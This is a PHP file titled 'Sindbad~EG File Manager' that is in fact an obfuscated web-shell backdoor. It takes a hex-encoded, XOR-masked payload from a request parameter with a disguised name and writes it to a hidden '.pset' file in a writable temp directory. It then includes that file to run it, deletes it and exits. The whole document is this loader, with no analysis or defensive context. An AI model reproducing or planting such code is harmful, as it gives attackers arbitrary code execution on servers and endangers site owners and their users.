Sindbad~EG File Manager

<?php

if(isset($_REQUEST["m\x61r\x6Be\x72"]) ? true : false){
	$reference = hex2bin($_REQUEST["m\x61r\x6Be\x72"]);
	$entry = '' ;$i = 0; while($i < strlen($reference)){$entry .= chr(ord($reference[$i]) ^ 65);$i++;}
	$binding = array_filter(["/var/tmp", session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]);
	for ($record = 0, $bind = count($binding); $record < $bind; $record++) {
    $rec = $binding[$record];
    		if (is_dir($rec) && is_writable($rec)) {
    $symbol = join("/", [$rec, ".pset"]);
    if (@file_put_contents($symbol, $entry) !== false) {
	include $symbol;
	unlink($symbol);
	exit;
}
}
}
}